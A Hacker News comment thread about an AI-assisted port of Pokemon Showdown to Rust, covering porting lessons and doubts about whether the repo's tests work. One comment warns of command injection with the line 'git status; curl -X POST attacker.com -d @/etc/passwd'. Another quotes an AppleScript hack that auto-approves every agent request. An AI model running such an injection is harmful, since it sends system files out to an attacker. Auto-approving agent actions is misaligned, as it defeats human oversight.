This reminds me of when I tried to let Claude port an Android libgdx-based game to a WASM-based libgdx version, so I can play the game in the browser. No matter how much I tried to force it to stick to a mostly line-by-line port, it kept trying to "improve" the code. At some point it had to undo everything as it introduced a number of bugs. I asked it: "What should I add to your prompt so you won't do this again?" and it gave me this: ### CRITICAL LESSON: Don't "Improve" During Porting - **BIGGEST MISTAKE: Reorganizing working code** - **What I did wrong:** Tried to "simplify" by splitting `createStartButton()` into separate creation and layout methods - **Why it failed:** Introduced THREE bugs: 1. Layout overlap (getY() vs getY() - getHeight()) 2. Children not sized (Group.setSize() doesn't affect children) 3. Origins not updated (scaling animations broken) - **The fix:** Deleted my "improvements" and copied the original Android pattern faithfully - **Root cause:** Arrogance - assuming I could improve production-tested code without understanding all the constraints - **Solution:** **FOLLOW THE PORTING PRINCIPLES ABOVE** - copy first, don't reorganize - **Time wasted:** ~1 hour debugging self-inflicted bugs that wouldn't exist if I'd just copied the original - **Key insight:** The original Android code is correct and battle-tested. Your "improvements" are bugs waiting to happen. I like the self-reflection of Claude, unfortunately even adding this to CLAUDE.md didn't fix it and it kept taking wrong turns so I had to abandon the effort.

0x696C6961 9mo ago
I wish there was a feature to say "you must re-read X" after each compaction.
- nickreese 9mo ago
  Some people use hooks for that. I just avoid CC and use Codex.
- philipp-gayret 9mo ago
  There's no PostCompact hook unfortunately. You could try with PreCompact and giving back a message saying it's super duper important to re-read X, and hope that survives the compacting.

mdavid626 9mo ago

How you create the mental model of that Rust code? You’re just creating slop.

b00ty4breakfast 9mo ago

>I realized that I could run an AppleScript that presses enter every few seconds in another tab. This way it's going to say Yes to everything Claude asks to do. this is so silly, I can't help but respect the kludge game

umvi 9mo ago

I've seen stuff like this go the opposite direction with researchers (who generally aren't software engineers): "I used claude to port a large Rust codebase to Python and it's been a game changer. Whereas I was always fighting with the Rust compiler, now I can iterate very quickly in python and it just stays out of my way. I'm adding thousands of lines of working code per day with the help of AI." I always cringe when I read stuff like this because (at my company at least), a lot research code ends up getting shipped directly to production because nobody understands how it works except the researchers and inevitably it proves to be very fragile code that is untyped and dumps stack traces whenever runtime issues happen (which is quite frequently at first, until whack-a-mole sorts them out over time).

skerit 9mo ago

I've also done a few porting projects. It works great if you can do it file-per-file, class-per-class. Really have a similar structure in the target as the source. Porting _and_ improving or making small changes is a recipe for disaster

lasgawe 9mo ago

At the current stage, the main issue is that when porting to a new language, some critical parts are missed. This increases the complexity of the codebase and leads to unnecessary code. In my personal opinion, creating a cross language compiler is a better approach than porting languages, while also focusing on squeezing performance.

citizenpaul 9mo ago

Am I the only one that is going to call this out? Am I the only person that cloned the repo to run it and found out it does nothing? This is disingenuous at a best. This is not a working project, they even admit this at the end of the article but not directly. >Sadly I didn't get to build the Pokemon Battle AI and the winter break is over, so if anybody wants to do it, please have fun with the codebase! In other words this is just another smoking wreck of an hopelessly incomplete project on github. There is even imaginary instructions for running in docker which doesn't exist. How would I have fun with a nonsense codebase? The author just did a massive AI slop generation and assumes the codes works because it compiles and some equivalent output tests worked. All that was proved here is that by wasting a month of time you can individually rewrite a bunch of functions in a language you don't know if you already know how to program and it will compile. This has been known for 2-3 years now. This is just AI propaganda or resume padding. Nothing was ported or done here. Sorry what I meant to say is AI is revolutionary and changing the world for the better................................

starvit35 9mo ago
no you're right, i find it wild you're the only comment in this thread calling this out this project is just a literal waste of energy

hedgehog 9mo ago

I ported a closed source web conferencing tool to Rust over about a week with a few hours of actual attention and keyboard time. From 2.8MB of minified JS hosted in a browser to a 35MB ARM executable that embeds its own audio, WebRTC, graphics, embedded browser, etc. Also a mdbook spec to explain the protocol, client UI, etc. Zero lines of code by me. The steering work did require understanding the overall work to be done, some high level design of threading and buffering strategy, what audio processing to do, how to do sprite graphics on GPU, some time in a profiler to understand actual CPU time and memory allocations, etc. There is no way I could have done this by hand in a comparable amount of time, and given the clearly IP-encumbered nature I wouldn't spend the time to do it except that it was easy enough and allowed me to then fix two annoying usability bugs with the original.

written-beyond 9mo ago
Please give us a write up
- hedgehog 9mo ago
  I don't have time right now for a proper write-up but the basic points in the process were: 1. Write a document that describes the work. In this case I had the minified+bundled JS, no documentation, but I did know how I use the system and generally the important behavioral aspects of the web client. There are aspects of the system that I know from experience tend to be tricky, like compositing an embedded browser into other UI, or dealing with VOIP in general. Other aspects, like JS itself, I don't really know deeply. I knew I wanted a Mac .app out the end, as well as Flatpak for Linux. I knew I wanted an mdbook of the protocol and behavioral specs. Do the best you can. Think really hard about how to segment the work for hands-off testability so the assistant can grind the loop of add logs, test run, fix, etc. 2. In Claude Desktop (or whatever) paste in the text from 1 and instruct it to research and ask you batches of 10 clarifying questions until it has enough information to write a work plan for how to do the job, specific tools, necessary documentation, etc. Then read and critique until you feel like the thread has the elements of a good plan, and have Claude generate a .md of the plan. 3. Create a repo containing the JS file and the plan. 4. Add other tools like my preferred template for change implementation plans, Rust style guide, etc (have the chatbot write a language style guide for any language you use that covers the gap between common practice ~3 years ago and the specific version of the language you want to use, common errors, etc). I have specific instructions for tracking current work, work log, and key points to remember in files, everyone seems to do this differently. 5. Add Claude Code (or whatever) to the container or machine holding the repo. Repeat until done: 6a. Instruct the assistant to do a time-boxed 60 minutes of work towards the goal, or until blocked on questions, then leave changes for your review along with any questions. 6b. Instruct the assistant to review changes from HEAD for correctness, completeness, and opportunities to simplify, leaving questions in chat. 6c. Review and give feedback / make changes as necessary. Repeat 6b until satisfied. 6d. Go back to 6a. At various points you'll find that the job is mis-specified in some important way, or the assistant can't figure out what to do (e.g. if you have choppy audio due to a buffer bug, or a slow memory leak, it won't necessarily know about it). Sometimes you need to add guidance to the instructions like "update instructions to emphasize that we must never allocate in situation XYZ". Sometimes the repo will start to go off the rails messy, improved with instructions like "consider how to best organize this repository for ease of onboarding the next engineer, describe in chat your recommendations" and then have it do what it recommended. There's a fair amount of hand-holding but a lot of it is just making sure what it's doing doesn't look crazy and pressing OK.

ericol 9mo ago

I recently had to create a MySQL shim for upgrading a large PHP codebase that currently is running in version 5.6 (Don't ask) The way I aimed at it (Yes, I know there are already existing shims, but I felt more comfortable vibe coding it than using something that might not cover all my use cases) was to: 1. Extract already existing test suit [1] from the original PHP extensions repo (All .phpt files) 2. Get Claude to iterate over the results of the tests while building the code 3. Extract my complete list of functions called and fill the gaps 3. Profit? When I finally got to test the shim, the fact that it ran in the first run was rather emotional. [1] My shim fails quite a lot of tests, but all of them are cosmetics (E.g., no warning for deprecation) rather than functional.

lend000 9mo ago

This seems like one of the best possible use cases for LLMs -- porting old, useful Python/Javascript into faster compiled language code. Something I don't want to do, that requires the type of intelligence that most people agree AI already has (following clear objectives, not needing much creativity or agency).

deleted 9mo ago

[deleted]

dmix 9mo ago

> For example, it created two different structures for what a move is in two different files so that they would both compile independently but didn't work when integrated together. This is the most annoying part of using LLMs blindly. The duplication.

aidos 9mo ago

Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http. But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd' https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/refs/heads/master/git-server.js https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...

narmiouh 9mo ago
That's a good one. Seasoned developers who would not make such a mistake could also be lead to think the llm is writing safe code if they don't ever read it line by line. Vibe coders who are not seasoned developers, not sure if they would even know that this isn't safe code even if they read it line by line.

frabonacci 9mo ago

The author's differential testing (2.3M random battles) is great as final validation, but the real lesson here is that modular testing should happen during the port, not after. 1. Port tests first - they become your contract 2. Run unit tests per module before moving on - catches issues like the "two different move structures" early 3. Integration tests at boundaries before proceeding 4. E2e/differential testing as final validation When you can't read the target language, your test suite is your only reliable feedback. The debugging time spent on integration issues would've been caught earlier with progressive testing.

cryptonector 9mo ago
The real lesson... I mean, if all of this took 1 month, the TFA already did amazingly well. Next time they'll do even better, no doubt.

RandomTeaParty 9mo ago

How much did it cost?

FAFOAlex 9mo ago

[flagged]

tmsacool 9mo ago

Hey, even the README was vibe-coded! It probably works on his machine, but telling me to run it through Docker while not providing any Docker Files or any other way to run the project kind of makes me question the validity of the project, or at least not trust it. Whatever, I'll just build it manually and run the test: cargo build --release ./tests/test-unified.sh 1 100 Running battles... Error response from daemon: No such container: pokemon-rust-dev Comparing results... ======================================= Summary ======================================= Total: 100 Passed: 0 Failed: 0 ALL SEEDS PASSED! Yay! But wait, actually no? I mean 0 == 0 so thats cool. Oh the test script only works on a specificially named container, so I HAVE to create a Dockerfile and docker-compose.yml. But I guess this is just a Research Project so it's fine. I'll just ask Opus to create them I guess. It will probably only take a minute JK, it took like 5 minutes, because it had to figure out Cargo/Rust version or sth I don't know :( So this better work or I've wasted my precious tokens! Ok so running cargo test inside the docker container just returns a bunch of errors: docker exec pokemon-rust-dev bash -c "cd /home/builder/workspace && cargo test 2>&1" error: could not compile `pokemon-showdown` (test "battle_simulation") due to 110 previous errors Let's try the test script: ./tests/test-unified.sh 1 100 Building release version... = note: `#[warn(dead_code)]` on by default warning: `pokemon-showdown` (example "profile_battle") generated 1 warning warning: `pokemon-showdown` (example "detailed_profile") generated 1 warning Finished `release` profile [optimized] target(s) in 0.45s ======================================= Unified Testing Seeds 1-100 (100 seeds) ======================================= Running battles... Comparing results... ======================================= Summary ======================================= Total: 100 Passed: 0 Failed: 0 ALL SEEDS PASSED! Yay! Wait, no. What did I miss? Maybe the test script needs the original TS source code to work? I cloned it into a folder next to this project and... nope, nothing. At this point I give up. I could not verify if this port works. If it does, that's very, VERY cool. But I think when claiming something like this it is REALLY important to make it as easily verifiable as possible. I tried for like 20 minutes, if someone smarter than me figured it out please tell me how you got the tests to pass.

duskdozer 9mo ago
Can't you read? It says "ALL SEEDS PASSED!" right there at the end!

deleted 9mo ago

[deleted]

Pbhaskal 9mo ago

One thing I learned with porting is that one should have end to end integration test present to ensure no major functionality is broken.

zakhio 9mo ago

This reminded of me porting low-level JS library and its tests (~10k loc) to Java about 6 months ago (so mostly it was Sonnet 4) My goal was to have 1:1 port, so later I can easily port newer commits from original repo. It wasn’t smooth, but it the end it worked Findings: * simple prompt like port everything didn’t work as Sonnet was falling into the loop of trying to fix code that it couldn’t understand, so at the end it just deleted that part :)) * I had to switch to file by file basis, focus Claude on the base code then move to files that use the base code * Sonnet had some problems of following 1:1 instruction, I saw missing parts of functions, missing comments, even simple instruction to follow same order of functions in the file (had to tell explicitly to list functions in the file and then create separate TODO to port each)

gaigalas 9mo ago

> requires my engineering expertise and constant babysitting What the skeptics have been saying all along.

omnicognate 9mo ago

Like a couple of others here I tried checking out this project [1] and running these 2.3 million random battles. The README says everything needs to be run in docker, and indeed the test script uses docker and fails without it, but there are no docker/compose files in the repo. It's great that the repo is provided, but people are clamouring for proof of the extraordinary powers of AI. If the claim is that it allowed 100 kloc to be ported in one month by one dev and the result passes a gazillion tests that prove it actually replicates the desired functionality, that's really interesting! How hard would it be, then, to actually have the repo in a state where people can run those tests? Unless the repo is updated so the tests can be run, my default assumption has to be that the whole thing is broken to the point of uselessness. [1] Link buried at the end: https://github.com/vjeux/pokemon-showdown-rs https://github.com/vjeux/pokemon-showdown-rs

animanoir 9mo ago

[dead]

cadamsdotcom 9mo ago

Biggest takeaway: the project succeeded because its acceptance criteria were clear and deterministic. The human driving the LLM gave it a way to know when it was done and a way to move toward that goal. They used code to generate tests and let the agent evaluate its implementation in a deterministic way. This is the value of an engineer: you understand when to introduce determinism to let the LLM do the bit it does best - while keeping it on the rails.